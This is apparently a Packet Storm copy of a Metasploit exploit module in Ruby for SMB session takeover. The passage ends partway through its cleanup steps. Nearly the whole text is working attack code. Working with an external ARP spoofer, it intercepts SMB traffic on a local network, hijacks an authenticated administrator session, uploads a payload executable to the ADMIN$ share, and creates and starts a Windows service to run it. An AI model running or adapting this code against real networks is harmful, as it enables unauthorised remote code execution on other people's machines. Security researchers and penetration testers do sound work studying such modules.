Lucene search
K

Microsoft Windows SMB Direct Session Takeover

🗓️ 07 Jan 2022 00:00:00Reported by usiegl00, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 320 Views

Microsoft Windows SMB Direct Session Takeover intercepts direct SMB authentication requests, gaining access to an authenticated SMB session and executing an arbitrary payload if the connecting user is an administrator and network logins are allowed to the target machine. The module is dependent on an external ARP spoofer and combines previous attacks

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::Remote::Capture  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft Windows SMB Direct Session Takeover',  
'Description' => %q{  
This module will intercept direct SMB authentication requests to  
another host, gaining access to an authenticated SMB session if  
successful. If the connecting user is an administrator and network  
logins are allowed to the target machine, this module will execute an  
arbitrary payload. To exploit this, the target system must try to  
autheticate to another host on the local area network.  
  
SMB Direct Session takeover is a combination of previous attacks.  
  
This module is dependent on an external ARP spoofer. The builtin ARP  
spoofer was not providing sufficient host discovery. Bettercap v1.6.2  
was used during the development of this module.  
  
The original SMB relay attack was first reported by Sir Dystic on March  
31st, 2001 at @lanta.con in Atlanta, Georgia.  
},  
'Author' => [  
'usiegl00'  
],  
'License' => MSF_LICENSE,  
'Privileged' => true,  
'Payload' => {},  
'References' => [  
['URL', 'https://strontium.io/blog/introducing-windows-10-smb-shadow-attack']  
],  
'Arch' => [ARCH_X86, ARCH_X64],  
'Platform' => 'win',  
'Targets' => [  
['Automatic', {}]  
],  
'DisclosureDate' => '2021-02-16',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [ SERVICE_RESOURCE_LOSS ],  
'Reliability' => [ UNRELIABLE_SESSION ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]  
}  
)  
)  
  
register_options(  
[  
OptString.new('SHARE', [true, 'The share to connect to', 'ADMIN$']),  
OptString.new('INTERFACE', [true, 'The name of the interface']),  
OptString.new('DefangedMode', [true, 'Run in defanged mode', true]),  
OptString.new('DisableFwd', [true, 'Disable packet forwarding on port 445', true])  
# For future cross LAN work:  
# OptString.new('GATEWAY', [ true, "The network gateway ip address" ])  
]  
)  
  
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT',  
'TIMEOUT')  
end  
  
def exploit  
if datastore['DefangedMode'].to_s == 'true'  
warning = <<~EOF  
  
Are you SURE you want to modify your port forwarding tables?  
You MAY contaminate your current network configuration.  
  
Disable the DefangedMode option if you wish to proceed.  
EOF  
fail_with(Failure::BadConfig, warning)  
end  
print_good('INFO : Warming up...')  
print_error('WARNING : Not running as Root. This can cause socket permission issues.') unless Process.uid == 0  
@sessions = {}  
@mutex = Mutex.new  
@cleanup_mutex = Mutex.new  
@cleanedup = false  
@main_threads = []  
@interface = datastore['INTERFACE'] # || Pcap.lookupdev  
unless Socket.getifaddrs.map(&:name).include? @interface  
fail_with(Failure::BadConfig,  
"Interface not found: #{@interface}")  
end  
@ip4 = ipv4_addresses[@interface]&.first  
fail_with(Failure::BadConfig, "Interface does not have address: #{@interface}") unless @ip4&.count('.') == 3  
@mac = get_mac(@interface)  
fail_with(Failure::BadConfig, "Interface does not have mac: #{@interface}") unless @mac && @mac.instance_of?(String)  
# For future cross LAN work: (Gateway is required.)  
# @gateip4 = datastore['GATEWAY']  
# fail_with(Failure::BadConfig, "Invalid Gateway ip address: #{@gateip4}") unless @gateip4&.count(".") == 3  
# @gatemac = arp(tpa: @gateip4)  
# fail_with(Failure::BadConfig, "Unable to retrieve Gateway mac address: #{@gateip4}") unless @gatemac && @gatemac.class == String  
@share = datastore['SHARE']  
print_status("Self: #{@ip4} | #{@mac}")  
# print_status("Gateway: #{@gateip4} | #{@gatemac}")  
disable_p445_fwrd  
start_syn_capture  
start_ack_capture  
print_status('INFO : This module must be run alongside an arp spoofer / poisoner.')  
print_status('INFO : The arp spoofer used during the testing of this module is bettercap v1.6.2.')  
main_capture  
ensure  
cleanup  
end  
  
# This prevents the TCP SYN on port 445 from passing through the filter.  
# This allows us to have the time to modify the packets before forwarding them.  
def disable_p445_fwrd  
if datastore['DisableFwd'] == 'false'  
print_status('DisableFwd was set to false.')  
print_status('Packet forwarding on port 445 will not be disabled.')  
return true  
end  
if RUBY_PLATFORM.include?('darwin')  
pfctl = Rex::FileUtils.find_full_path('pfctl')  
unless pfctl  
fail_with(Failure::NotFound, 'The pfctl executable could not be found.')  
end  
IO.popen("#{pfctl} -a \"com.apple/shadow\" -f -", 'r+', err: '/dev/null') do |pf|  
pf.write("block out on #{@interface} proto tcp from any to any port 445\n")  
pf.close_write  
end  
IO.popen("#{pfctl} -e", err: '/dev/null').close  
elsif RUBY_PLATFORM.include?('linux')  
iptables = Rex::FileUtils.find_full_path('iptables')  
unless iptables  
fail_with(Failure::NotFound, 'The iptables executable could not be found.')  
end  
IO.popen("#{iptables} -A FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close  
else  
print_error("WARNING : Platform not supported: #{RUBY_PLATFORM}")  
print_error('WARNING : Packet forwarding on port 445 must be blocked manually.')  
fail_with(Failure::BadConfig, 'Set DisableFwd to false after blocking port 445 manually.')  
end  
print_good('INFO : Packet forwarding on port 445 disabled.')  
return true  
end  
  
# This reverts the changes made in disable_p445_fwrd  
def reset_p445_fwrd  
if datastore['DisableFwd'] == 'false'  
print_status('DisableFwd was set to false.')  
print_status('Packet forwarding on port 445 will not be reset.')  
return true  
end  
if RUBY_PLATFORM.include?('darwin')  
pfctl = Rex::FileUtils.find_full_path('pfctl')  
unless pfctl  
fail_with(Failure::NotFound, 'The pfctl executable could not be found.')  
end  
IO.popen("#{pfctl} -a \"com.apple/shadow\" -F rules", err: '/dev/null').close  
elsif RUBY_PLATFORM.include?('linux')  
iptables = Rex::FileUtils.find_full_path('iptables')  
unless iptables  
fail_with(Failure::NotFound, 'The iptables executable could not be found.')  
end  
IO.popen("#{iptables} -D FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close  
end  
print_good('INFO : Packet forwarding on port 445 reset.')  
return true  
end  
  
# This starts the SYN capture thread as part of step two.  
def start_syn_capture  
@syn_capture_thread = Rex::ThreadFactory.spawn('SynCaptureThread', false) do  
c = PacketFu::Capture.new(iface: @interface, promisc: true)  
c.capture  
c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) == 0")  
c.stream.each_data do |data|  
packet = PacketFu::Packet.parse(data)  
exists = @mutex.synchronize do  
@sessions[packet.tcp_header.tcp_src] # Prevent erasing existing sessions.  
end  
next if exists  
  
dstmac = arp(tpa: ip2str(int2ip(packet.ip_header.ip_dst)))  
# Time for the arp address to be spoofed again.  
sleep(1.5)  
@mutex.synchronize do  
@sessions[packet.tcp_header.tcp_src] = {}  
@sessions[packet.tcp_header.tcp_src][:acknum] = packet.tcp_header.tcp_ack  
@sessions[packet.tcp_header.tcp_src][:seqnum] = packet.tcp_header.tcp_seq  
@sessions[packet.tcp_header.tcp_src][:active] = true  
@sessions[packet.tcp_header.tcp_src][:dstmac] = dstmac  
packet.eth_header.eth_src = str2mac(@mac)  
packet.eth_header.eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac])  
packet.to_w(@interface)  
end  
end  
end  
end  
  
# This starts the ACK capture thread as part of step two.  
def start_ack_capture  
@ack_capture_thread = Rex::ThreadFactory.spawn('AckCaptureThread', false) do  
c = PacketFu::Capture.new(iface: @interface, promisc: true)  
c.capture  
c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] != 0xfe534d42")  
c.stream.each_data do |data|  
packet = PacketFu::Packet.parse(data)  
@mutex.synchronize do  
next unless @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active]  
  
@sessions[packet.tcp_header.tcp_src][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.tcp_header.tcp_src][:acknum]  
@sessions[packet.tcp_header.tcp_src][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.tcp_header.tcp_src][:seqnum]  
packet.tcp_header.tcp_ack = @sessions[packet.tcp_header.tcp_src][:acknum]  
packet.tcp_header.tcp_seq = @sessions[packet.tcp_header.tcp_src][:seqnum]  
packet.eth_header.eth_src = str2mac(@mac)  
packet.eth_header.eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac])  
packet.to_w(@interface)  
end  
end  
end  
end  
  
# This sends an arp packet out to the network and captures the response.  
# This allows us to resolve mac addresses in real time.  
# We need the mac address of the server and client.  
def arp(smac: @mac, dmac: 'ff:ff:ff:ff:ff:ff',  
sha: @mac, spa: @ip4,  
tha: '00:00:00:00:00:00', tpa: '', op: 1,  
capture: true)  
p = PacketFu::ARPPacket.new(  
eth_src: str2mac(smac),  
eth_dst: str2mac(dmac),  
arp_src_mac: str2mac(sha),  
arp_src_ip: str2ip(spa),  
arp_dst_mac: str2mac(tha),  
arp_dst_ip: str2ip(tpa),  
arp_opcode: op  
)  
if capture  
c = PacketFu::Capture.new(iface: @interface)  
c.capture  
c.stream.setfilter("arp src #{tpa} and ether dst #{smac}")  
p.to_w(@interface)  
sleep 0.1  
c.save  
c.array.each do |pkt|  
pkt = PacketFu::Packet.parse pkt  
# This decodes the arp packet and returns the query response.  
if pkt.arp_header.arp_src_ip == str2ip(tpa)  
return mac2str(pkt.arp_header.arp_src_mac)  
end  
return ip2str(pkt.arp_header.arp_src_ip) if mac2str(pkt.arp_header.src_mac) == tha  
end  
else  
p.to_w(@interface)  
end  
end  
  
# This returns a hash of local interfaces and their ip addresses.  
def ipv4_addresses  
results = {}  
Socket.getifaddrs.each do |iface|  
if iface.addr.ipv4?  
results[iface.name] = [] unless results[iface.name]  
results[iface.name] << iface.addr.ip_address  
end  
end  
results  
end  
  
# This is the main capture thread that handles all SMB packets routed through this module.  
def main_capture  
# This makes sense in the context of the paper.  
# Please read: https://strontium.io/blog/introducing-windows-10-smb-shadow-attack  
mc = PacketFu::Capture.new(iface: @interface, promisc: true)  
mc.capture  
mc.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] = 0xfe534d42")  
mc.stream.each_data do |data|  
packet = PacketFu::Packet.parse(data)  
nss = packet.payload[0..3]  
smb2 = packet.payload[4..-1]  
# Only Parse Packets from known sessions  
@mutex.synchronize do  
if @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active] && (smb2[0..4] != "\xFFSMB")  
case smb2[11..12]  
when "\x00\x00" # Negotiate Protocol Request  
smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2)  
# Dialect Count Set To 1  
smb_packet.dialect_count = 1  
smb_packet.dialects = [smb_packet.dialects.first]  
smb_packet.negotiate_context_list = []  
smb_packet.client_start_time = 0  
# Re-Calculate Length: (Optional...)  
# nss = [smb_packet.to_binary_s.size].pack("N")  
packet.payload = "#{nss}#{smb_packet.to_binary_s}"  
when "\x00\x01" # Session Setup Request, NTLMSSP_AUTH  
smb_packet = RubySMB::SMB2::Packet::SessionSetupRequest.read(smb2)  
if smb_packet.smb2_header.session_id != 0  
# Disable Session  
@sessions[packet.tcp_header.tcp_src][:active] = false  
@sessions[packet.tcp_header.tcp_src][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.tcp_header.tcp_src][:acknum]  
@sessions[packet.tcp_header.tcp_src][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.tcp_header.tcp_src][:seqnum]  
# Start Main Thread  
@main_threads << Rex::ThreadFactory.spawn("MainThread#{@sessions.find_index do |k, _|  
k == packet.tcp_header.tcp_src  
end }", false) do  
main_thread(packet)  
end  
end  
end  
end  
next unless @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active]  
  
@sessions[packet.tcp_header.tcp_src][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.tcp_header.tcp_src][:acknum]  
@sessions[packet.tcp_header.tcp_src][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.tcp_header.tcp_src][:seqnum]  
packet.tcp_header.tcp_ack = @sessions[packet.tcp_header.tcp_src][:acknum]  
packet.tcp_header.tcp_seq = @sessions[packet.tcp_header.tcp_src][:seqnum]  
packet.eth_header.eth_src = str2mac(@mac)  
packet.eth_header.eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac])  
packet.recalc  
packet.to_w(@interface)  
end  
end  
end  
  
# This handles a session that has already authenticated to the server.  
# This allows us to offload the session from the main capture thead.  
def main_thread(packet)  
tree_id = 0 # Setup Vars  
process_id = 0  
eth_src = str2mac(@mac)  
eth_dst = @mutex.synchronize { str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac]) }  
packet.tcp_header.tcp_ack = @mutex.synchronize { @sessions[packet.tcp_header.tcp_src][:acknum] }  
packet.tcp_header.tcp_seq = @mutex.synchronize { @sessions[packet.tcp_header.tcp_src][:seqnum] }  
packet.eth_header.eth_src = eth_src  
packet.eth_header.eth_dst = eth_dst  
response = get_response(packet)  
response_smb2 = RubySMB::SMB2::Packet::SessionSetupResponse.read(response.payload[4..-1])  
  
print_status('Connecting to the defined share...')  
request = RubySMB::SMB2::Packet::TreeConnectRequest.new  
set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)  
request.path = "\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\#{@share}"  
eth_header = PacketFu::EthHeader.new(eth_src: eth_src, eth_dst: eth_dst)  
ip_header = PacketFu::IPHeader.new(ip_src: int2ip(response.ip_header.ip_dst), ip_dst: int2ip(response.ip_header.ip_src))  
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))  
packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"  
response = get_response(packet)  
response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1])  
if response_smb2.smb2_header.nt_status != 0  
print_error("Unexpected tree connect response #{e.status_code.value.inspect} (#{::WindowsError::NTStatus.find_by_retval(e.status_code.value).first || 'unknown'})")  
return false  
end  
  
print_status('Regenerating the payload...')  
code = regenerate_payload  
tree_id = response_smb2.smb2_header.tree_id  
process_id = response_smb2.smb2_header.process_id  
  
print_status('Uploading payload...')  
filename = rand_text_alpha(8) + '.exe'  
servicename = rand_text_alpha(8)  
request = RubySMB::SMB2::Packet::CreateRequest.new  
set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)  
request.file_attributes.directory = 0  
request.file_attributes.normal = 1  
request.create_options.directory_file = 0  
request.create_options.non_directory_file = 1  
request.share_access.read_access = 1  
request.share_access.write_access = 1  
request.desired_access.read_data = 1  
request.desired_access.write_data = 1  
request.desired_access.write_ea = 1  
request.desired_access.read_attr = 1  
request.desired_access.write_attr = 1  
request.requested_oplock = 255  
request.impersonation_level = RubySMB::ImpersonationLevels::SEC_IMPERSONATE  
request.create_disposition = RubySMB::Dispositions::FILE_SUPERSEDE  
request.name = filename.to_s  
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))  
packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"  
response = get_response(packet)  
response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1])  
file_id = response_smb2.file_id  
opts = { servicename: servicename, code: code.encoded }  
opts.merge!({ arch: ARCH_X64 }) if datastore['PAYLOAD'].include?(ARCH_X64)  
exe = generate_payload_exe_service(opts)  
exe.bytes.each_slice(1000).to_a.each_with_index do |exe_fragment, exe_fragment_index|  
request = RubySMB::SMB2::Packet::WriteRequest.new  
set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)  
request.file_id = file_id  
request.write_offset = 1000 * exe_fragment_index  
request.buffer = exe_fragment.pack('C*')  
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))  
packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"  
response = get_response(packet)  
response_smb2 = RubySMB::SMB2::Packet::WriteResponse.read(response.payload[4..-1])  
end  
  
print_status("Created \\#{filename}...")  
request = RubySMB::SMB2::Packet::CloseRequest.new  
set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)  
request.file_id = file_id  
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))  
packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"  
response = get_response(packet)  
response_smb2 = RubySMB::SMB2::Packet::CloseResponse.read(response.payload[4..-1])  
request = RubySMB::SMB2::Packet::TreeDisconnectRequest.new  
set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)  
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))  
packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"  
response = get_response(packet)  
response_smb2 = RubySMB::SMB2::Packet::TreeDisconnectResponse.read(response.payload[4..-1])  
  
print_status('Connecting to the Service Control Manager...')  
request = RubySMB::SMB2::Packet::TreeConnectRequest.new  
set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)  
request.path = "\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\IPC$"  
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))  
packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"  
response = get_response(packet)  
response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1])  
tree_id = response_smb2.smb2_header.tree_id  
request = RubySMB::SMB2::Packet::CreateRequest.new  
set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)  
request.file_attributes.directory = 0  
request.file_attributes.normal = 1  
request.create_options.directory_file = 0  
request.create_options.non_directory_file = 1  
request.share_access.read_access = 1  
request.desired_access.read_data = 1  
request.share_access.write_access = 1  
request.desired_access.write_data = 1  
request.requested_oplock = 255  
request.impersonation_level = RubySMB::ImpersonationLevels::SEC_IMPERSONATE  
request.create_disposition = RubySMB::Dispositions::FILE_OPEN  
request.name = 'svcctl'  
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))  
packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"  
response = get_response(packet)  
response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1])  
file_id = response_smb2.file_id  
bind_req = RubySMB::Dcerpc::Bind.new(endpoint: RubySMB::Dcerpc::Svcctl)  
request = RubySMB::SMB2::Packet::WriteRequest.new  
set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)  
request.file_id = file_id  
request.write_offset = 0  
request.buffer = bind_req.to_binary_s  
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))  
packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"  
response = get_response(packet)  
response_smb2 = RubySMB::SMB2::Packet::WriteResponse.read(response.payload[4..-1])  
request = RubySMB::SMB2::Packet::ReadRequest.new  
set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)  
request.file_id = file_id  
request.read_length = 1024  
request.offset = 0  
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))  
packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"  
response = get_response(packet)  
response_smb2 = RubySMB::SMB2::Packet::ReadResponse.read(response.payload[4..-1])  
open_scmw_request = RubySMB::Dcerpc::Svcctl::OpenSCManagerWRequest.new(dw_desired_access: 0x10 | 0x20 | 0x02 | 0x01 | 0x04 | 0x08 | 0x04)  
open_scmw_request.lp_machine_name = ip2str(int2ip(response.ip_header.ip_src))  
open_scmw_request.lp_database_name = 'ServicesActive'  
dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: open_scmw_request.opnum }, { endpoint: 'Svcctl' })  
dcerpc_request.stub.read(open_scmw_request.to_binary_s)  
request = RubySMB::SMB2::Packet::IoctlRequest.new  
set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)  
request.file_id = file_id  
request.ctl_code = 0x0011C017  
request.flags.is_fsctl = 0x00000001  
request.buffer = dcerpc_request.to_binary_s  
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))  
packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"  
response = get_response(packet)  
response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])  
dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data)  
open_scmw_response = RubySMB::Dcerpc::Svcctl::OpenSCManagerWResponse.read(dcerpc_response.stub.to_s)  
servicename = rand_text_alpha(8)  
displayname = rand_text_alpha(rand(1..32))  
  
print_status('Creating a new service...')  
# RubySMB does not support CreateService.  
stubdata =  
open_scmw_response.lp_sc_handle.to_binary_s +  
Rex::Encoder::NDR.wstring(servicename) +  
Rex::Encoder::NDR.uwstring(displayname) +  
Rex::Encoder::NDR.long(0x0F01FF) + # Access: MAX  
Rex::Encoder::NDR.long(0x00000110) + # Type: Interactive, Own process  
Rex::Encoder::NDR.long(0x00000003) + # Start: Demand  
Rex::Encoder::NDR.long(0x00000000) + # Errors: Ignore  
Rex::Encoder::NDR.wstring("%SYSTEMROOT%\\#{filename}") + # Binary Path  
Rex::Encoder::NDR.long(0) + # LoadOrderGroup  
Rex::Encoder::NDR.long(0) + # Dependencies  
Rex::Encoder::NDR.long(0) + # Service Start  
Rex::Encoder::NDR.long(0) * 4 # Password  
dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: 12 }, { endpoint: 'Svcctl' })  
dcerpc_request.stub = stubdata  
request = RubySMB::SMB2::Packet::IoctlRequest.new  
set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)  
request.file_id = file_id  
request.ctl_code = 0x0011C017  
request.flags.is_fsctl = 0x00000001  
request.buffer = dcerpc_request.to_binary_s  
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))  
packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"  
response = get_response(packet)  
response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])  
if response_smb2.smb2_header.nt_status == 0x103  
response = get_response(packet)  
response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])  
end  
  
print_status('Closing service handle...')  
dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data)  
csh_request = RubySMB::Dcerpc::Svcctl::CloseServiceHandleRequest.new(h_sc_object: dcerpc_response.stub[4, 24])  
dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: csh_request.opnum }, { endpoint: 'Svcctl' })  
dcerpc_request.stub.read(csh_request.to_binary_s)  
request = RubySMB::SMB2::Packet::IoctlRequest.new  
set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)  
request.file_id = file_id  
request.ctl_code = 0x0011C017  
request.flags.is_fsctl = 0x00000001  
request.buffer = dcerpc_request.to_binary_s  
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))  
packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"  
response = get_response(packet)  
response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])  
open_sw_request = RubySMB::Dcerpc::Svcctl::OpenServiceWRequest.new(dw_desired_access: 0x00F01FF)  
open_sw_request.lp_sc_handle = open_scmw_response.lp_sc_handle  
open_sw_request.lp_service_name = servicename  
dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: open_sw_request.opnum }, { endpoint: 'Svcctl' })  
dcerpc_request.stub.read(open_sw_request.to_binary_s)  
request = RubySMB::SMB2::Packet::IoctlRequest.new  
set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)  
request.file_id = file_id  
request.ctl_code = 0x0011C017  
request.flags.is_fsctl = 0x00000001  
request.buffer = dcerpc_request.to_binary_s  
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))  
packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"  
response = get_response(packet)  
response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])  
dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data)  
open_sw_response = RubySMB::Dcerpc::Svcctl::OpenServiceWResponse.read(dcerpc_response.stub.to_s)  
  
print_status('Starting the service...')  
ss_request = RubySMB::Dcerpc::Svcctl::StartServiceWRequest.new(h_service: open_sw_response.lp_sc_handle)  
dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: ss_request.opnum }, { endpoint: 'Svcctl' })  
dcerpc_request.stub.read(ss_request.to_binary_s)  
request = RubySMB::SMB2::Packet::IoctlRequest.new  
set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)  
request.file_id = file_id  
request.ctl_code = 0x0011C017  
request.flags.is_fsctl = 0x00000001  
request.buffer = dcerpc_request.to_binary_s  
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))  
packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"  
response = get_response(packet)  
response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])  
if response_smb2.smb2_header.nt_status == 0x103  
response = get_response(packet)  
response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])  
end  
  
print_status('Removing the service...')  
# RubySMB does not support DeleteService  
dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: 2 }, { endpoint: 'Svcctl' })  
dcerpc_request.stub = open_sw_response.lp_sc_handle.to_binary_s  
request = RubySMB::SMB2::Packet::IoctlRequest.new  
set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)  
request.file_id = file_id  
request.ctl_code = 0x0011C017  
request.flags.is_fsctl = 0x00000001  
request.buffer = dcerpc_request.to_binary_s  
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))  
packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"  
response = get_response(packet)  
response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])  
  
print_status('Closing service handle...')  
csh_request = RubySMB::Dcerpc::Svcctl::CloseServiceHandleRequest.new(h_sc_object: open_sw_response.lp_sc_handle)  
dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: csh_request.opnum }, { endpoint: 'Svcctl' })  
dcerpc_request.stub.read(csh_request.to_binary_s)  
request = RubySMB::SMB2::Packet::IoctlRequest.new  
set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)  
request.file_id = file_id  
request.ctl_code = 0x0011C017  
request.flags.is_fsctl = 0x00000001  
request.buffer = dcerpc_request.to_binary_s  
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))  
packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"  
response = get_response(packet)  
response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])  
request = RubySMB::SMB2::Packet::TreeDisconnectRequest.new  
set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)  
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))  
packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"  
response = get_response(packet)  
response_smb2 = RubySMB::SMB2::Packet::TreeDisconnectResponse.read(response.payload[4..-1])  
  
print_status("Deleting \\#{filename}...")  
request = RubySMB::SMB2::Packet::TreeConnectRequest.new  
request.smb2_header.process_id = process_id  
request.smb2_header.credit_charge = 1  
request.smb2_header.credits = 256  
request.smb2_header.message_id = response_smb2.smb2_header.message_id + 1  
request.smb2_header.session_id = response_smb2.smb2_header.session_id  
request.path = "\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\#{@share}"  
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))  
packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"  
response = get_response(packet)  
response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1])  
tree_id = response_smb2.smb2_header.tree_id  
request = RubySMB::SMB2::Packet::CreateRequest.new  
set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)  
request.file_attributes.directory = 0  
request.file_attributes.normal = 1  
request.create_options.directory_file = 0  
request.create_options.non_directory_file = 1  
request.share_access.delete_access = 1  
request.desired_access.delete_access = 1  
request.requested_oplock = 255  
request.impersonation_level = RubySMB::ImpersonationLevels::SEC_IMPERSONATE  
request.create_disposition = RubySMB::Dispositions::FILE_OPEN  
request.name = filename.to_s  
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))  
packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"  
response = get_response(packet)  
